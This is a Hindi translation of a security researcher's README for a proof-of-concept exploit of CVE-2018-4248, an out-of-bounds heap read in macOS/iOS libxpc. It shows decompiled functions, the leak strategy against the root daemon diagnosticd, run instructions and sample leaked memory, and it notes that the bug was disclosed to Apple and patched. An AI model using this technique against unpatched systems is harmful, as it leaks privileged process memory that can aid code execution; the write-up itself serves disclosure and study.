
CVE-2018-4248: स्ट्रिंग सीरियलाइज़ेशन के दौरान libxpc में सीमा-बाह्य पठन।
xpc-string-leak libxpc में एक आउट-ऑफ-बाउंड्स मेमोरी रीड का प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट है। यह एक्सप्लॉइट diagnosticd से आउट-ऑफ-बाउंड्स हीप मेमोरी पढ़ने के लिए कमजोरी का उपयोग करता है, जो कि task_for_pid-allow एंटाइटलमेंट वाली एक अनसैंडबॉक्स्ड रूट प्रक्रिया है।
macOS 10.13.5 और iOS 11.4 पर, फंक्शन _xpc_string_deserialize यह सत्यापित नहीं करता है कि _xpc_string_create के साथ XPC स्ट्रिंग ऑब्जेक्ट बनाने से पहले डिसीरियलाइज़ की गई स्ट्रिंग की लंबाई उचित है या नहीं। यदि XPC स्ट्रिंग को फिर किसी अन्य XPC संदेश में सीरियलाइज़ किया जाता है, तो यह हार्टब्लीड-शैली के आउट-ऑफ-बाउंड्स हीप रीड का कारण बन सकता है।
यहाँ IDA का उपयोग करके डिकंपाइल किए गए _xpc_string_deserialize का कार्यान्वयन है:
OS_xpc_string *__fastcall _xpc_string_deserialize(OS_xpc_serializer *xserializer)
{
OS_xpc_string *xstring; // rbx@1
char *string; // rax@4
char *contents; // [rsp+8h] [rbp-18h]@1
size_t size; // [rsp+10h] [rbp-10h]@1 MAPDST
xstring = 0LL;
contents = 0LL;
size = 0LL;
if ( _xpc_string_get_wire_value(xserializer, (const char **)&contents, &size) )
{
if ( contents[size - 1] || (string = _xpc_try_strdup(contents)) == 0LL )
{
xstring = 0LL;
}
else
{
xstring = _xpc_string_create(string, size - 1);
LOBYTE(xstring->flags) |= 1u;
}
}
return xstring;
}
_xpc_string_deserialize पहले _xpc_string_get_wire_value को कॉल करता है ताकि स्ट्रिंग डेटा का एक पॉइंटर और स्ट्रिंग हेडर द्वारा रिपोर्ट की गई स्ट्रिंग का सीरियलाइज़्ड आकार प्राप्त हो सके। फिर _xpc_string_deserialize जाँचता है कि स्ट्रिंग के रिपोर्ट किए गए आकार के अंत में एक नल टर्मिनेटर है, लेकिन महत्वपूर्ण रूप से यह जाँच नहीं करता कि डेटा में पहले कोई नल टर्मिनेटर नहीं है। अंत में, यह हीप पर स्ट्रिंग की एक प्रतिलिपि बनाता है और _xpc_string_create का उपयोग करके OS_xpc_string ऑब्जेक्ट बनाता है।
यहाँ _xpc_string_create के लिए डिकंपाइल कोड है:
OS_xpc_string *__fastcall _xpc_string_create(const char *string, size_t length)
{
OS_xpc_string *xstring; // rax@1
xstring = (OS_xpc_string *)_xpc_base_create(&OBJC_CLASS___OS_xpc_string, 16LL);
if ( (((_DWORD)length + 4) & 0xFFFFFFFC) + 4 < length )
_xpc_api_misuse("Unreasonably large string");
xstring->wire_length = ((length + 4) & 0xFFFFFFFC) + 4;
xstring->string = string;
xstring->length = length;
return xstring;
}
_xpc_string_create _xpc_string_deserialize द्वारा प्रदान की गई लंबाई के मान पर भरोसा करता है और OS_xpc_string ऑब्जेक्ट में उपयुक्त फ़ील्ड सेट करता है। इस बिंदु पर, डिसीरियलाइज़ की गई स्ट्रिंग में एक length फ़ील्ड हो सकती है जो आवंटित स्ट्रिंग डेटा से बड़ी हो।
सैद्धांतिक रूप से, इसका उपयोग उन सेवाओं में मेमोरी भ्रष्टाचार को ट्रिगर करने के लिए किया जा सकता है जो xpc_string_get_length का उपयोग करके स्ट्रिंग की लंबाई प्राप्त करती हैं, लेकिन यह पैटर्न असामान्य प्रतीत होता है। कम शक्तिशाली लेकिन अधिक व्यावहारिक शोषण रणनीति यह है कि स्ट्रिंग को फिर से सीरियलाइज़ किया जाए और हमें वापस भेजा जाए, जिससे हमें पीड़ित प्रक्रिया की मेमोरी में हार्टब्लीड-शैली की खिड़की मिल जाए।
यह _xpc_string_serialize का कार्यान्वयन है:
void __fastcall _xpc_string_serialize(OS_xpc_string *string, OS_xpc_serializer *serializer)
{
int type; // [rsp+8h] [rbp-18h]@1
int size; // [rsp+Ch] [rbp-14h]@1
type = *((_DWORD *)&OBJC_CLASS___OS_xpc_string + 10);
_xpc_serializer_append(serializer, &type, 4uLL, 1, 0, 0);
size = LODWORD(string->length) + 1;
_xpc_serializer_append(serializer, &size, 4uLL, 1, 0, 0);
_xpc_serializer_append(serializer, string->string, string->length + 1, 1, 0, 0);
}
OS_xpc_string का length पैरामीटर सीरियलाइज़ेशन के दौरान भरोसेमंद होता है, जिसका अर्थ है कि हीप से कई बाइट्स सीरियलाइज़ किए गए संदेश में पढ़ी जाती हैं। यदि डिसीरियलाइज़ की गई स्ट्रिंग इसकी रिपोर्ट की गई लंबाई से छोटी थी, तो संदेश आउट-ऑफ-बाउंड्स हीप डेटा से भर जाएगा।
हम अभी भी उन XPC सेवाओं के शोषण तक सीमित हैं जो XPC संदेश के कुछ हिस्से को क्लाइंट को वापस दर्शाती हैं, लेकिन यह बहुत अधिक सामान्य है। उदाहरण के लिए, macOS और iOS पर, diagnosticd एक आशाजनक उम्मीदवार है जो अनसैंडबॉक्स्ड, रूट है, और task_for_pid विशेषाधिकार रखता है। Diagnosticd डायग्नोस्टिक संदेशों (उदाहरण के लिए, os_log द्वारा उत्पन्न संदेश) को संसाधित करने और उन्हें उन ग्राहकों तक स्ट्रीम करने के लिए जिम्मेदार है जो इन संदेशों को प्राप्त करने में रुचि रखते हैं। अपनी स्वयं की डायग्नोस्टिक स्ट्रीम प्राप्त करने के लिए पंजीकरण करके और फिर अपेक्षा से छोटे स्ट्रिंग के साथ एक डायग्नोस्टिक संदेश भेजकर, हम diagnosticd के हीप में कुछ डेटा का एक स्नैपशॉट प्राप्त कर सकते हैं, जो प्रक्रिया में कोड निष्पादन प्राप्त करने में सहायता कर सकता है।
बनाने के लिए, make चलाएँ। विभिन्न बिल्ड विकल्पों के लिए Makefile के शीर्ष को देखें।
कमांड लाइन पर लीक के आकार को निर्दिष्ट करके एक्सप्लॉइट चलाएँ:
$ ./xpc-string-leak 0x40
0x2000000000000000 0xe00007ff39bf0992
0x00007fff56858570 0x00007fff7ed23d0e
0x0000000000000000 0x0000000000000000
0x00007fff7ed52be2 0x00007fff7ed29ed6
लीक का आकार 8 का गुणक और कम से कम 16 होना चाहिए।
xpc-string-leak कोड सार्वजनिक डोमेन में जारी किया गया है। सौजन्य से मैं अनुरोध करता हूँ कि यदि आप इस कोड का संदर्भ या उपयोग करते हैं तो आप इसे मेरे लिए विशेषता दें।
मैंने यह बग 2018 की शुरुआत (जनवरी या फरवरी) में खोजा था, लेकिन मई तक इसकी जाँच करना भूल गया। मैंने 9 मई को Apple को इस मुद्दे की सूचना दी, और इसे CVE-2018-4248 सौंपा गया और 9 जुलाई को iOS 11.4.1 और macOS 10.13.6 में पैच किया गया।
Brandon Azad